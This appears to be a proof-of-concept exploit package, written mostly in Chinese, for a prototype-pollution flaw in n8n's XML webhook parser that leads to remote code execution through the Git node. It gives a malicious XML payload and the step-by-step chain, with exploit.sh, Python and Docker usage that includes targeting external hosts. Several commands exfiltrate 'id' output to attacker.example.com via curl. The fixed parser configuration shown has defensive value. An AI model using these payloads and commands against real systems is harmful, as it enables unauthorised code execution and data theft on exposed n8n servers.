// packages/cli/src/middlewares/body-parser.ts  （存在漏洞 — < 1.123.32）
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // 将标签转为小写 — 但不会阻止 __proto__
    explicitArray: false,
    // ← 无 tagNameProcessors
    // ← 无 attrNameProcessors
});

function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

1. 攻击者向公开的 Webhook 触发器发送 XML POST：

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. xml2js 请求体解析器创建 req.body.root，其中 '__proto__' 是
   自有可枚举数据属性：
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. n8n 的 deepCopy() 通过 for...in + hasOwnProp 遍历自有键。
   赋值语句 clone['__proto__'] = deepCopy(attackerArray)
   通过 [[Set]] 访问器静默替换了 clone 的原型。

4. n8n 将执行数据序列化到数据库：
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   __proto__ 键被包含在内，因为它是自有且可枚举的。
   已在 SQLite 的 execution_data 表中确认。

5. 重新加载时，JSON.parse 将 '__proto__' 重新创建为自有数据属性
   （普通对象，无数组包装）。
      Object.assign(gitOptions, reloadedBody)
   将 gitOptions 的原型重定向到攻击者控制的对象。

6. 当 Git 节点调用 simpleGit(gitOptions) 时：
      createInstanceConfig(gitOptions)
   通过原型链读取 config.spawnOptions → 为真值 →
   spawnOptionsPlugin 被注册。
   当 env 对象中存在 GIT_SSH_COMMAND 时，git 会在下一次 SSH 操作时
   执行攻击者的命令。

<env GIT_SSH_COMMAND="attacker_cmd"/>

chmod +x exploit.sh
./exploit.sh setup

./exploit.sh setup

[*] 正在拉取易受攻击的 n8n 镜像（1.123.22）...
[*] 正在构建攻击者镜像 ...
[*] 正在启动易受攻击的 n8n 目标 ...
[*] 正在等待 n8n 变为健康状态 ...
[*] 正在创建 Webhook 工作流（Webhook → Code 节点）...
[+] 实验环境已就绪。

    运行：  ./exploit.sh demo        # 验证污染原语
          ./exploit.sh exploit     # 投递全部三个 RCE 载荷

./exploit.sh demo

[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

./exploit.sh exploit
# 或使用自定义命令：
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

pip install -r requirements.txt

# 仅验证 — 无需 Git 节点：
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --demo

# 完整利用 — 需要 Webhook + Git/SSH 节点工作流：
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <path> \
    --demo

cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  If target is used as simpleGit config AND the prototype exposes
         e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ]  simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══

# 构建攻击者镜像
docker build -t n8n-proto-pollution-poc .

# 演示模式（连接到共享实验网络）
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# 完整利用
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# 针对外部目标（无需网络标志）
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <path> \
    --demo

./exploit.sh clean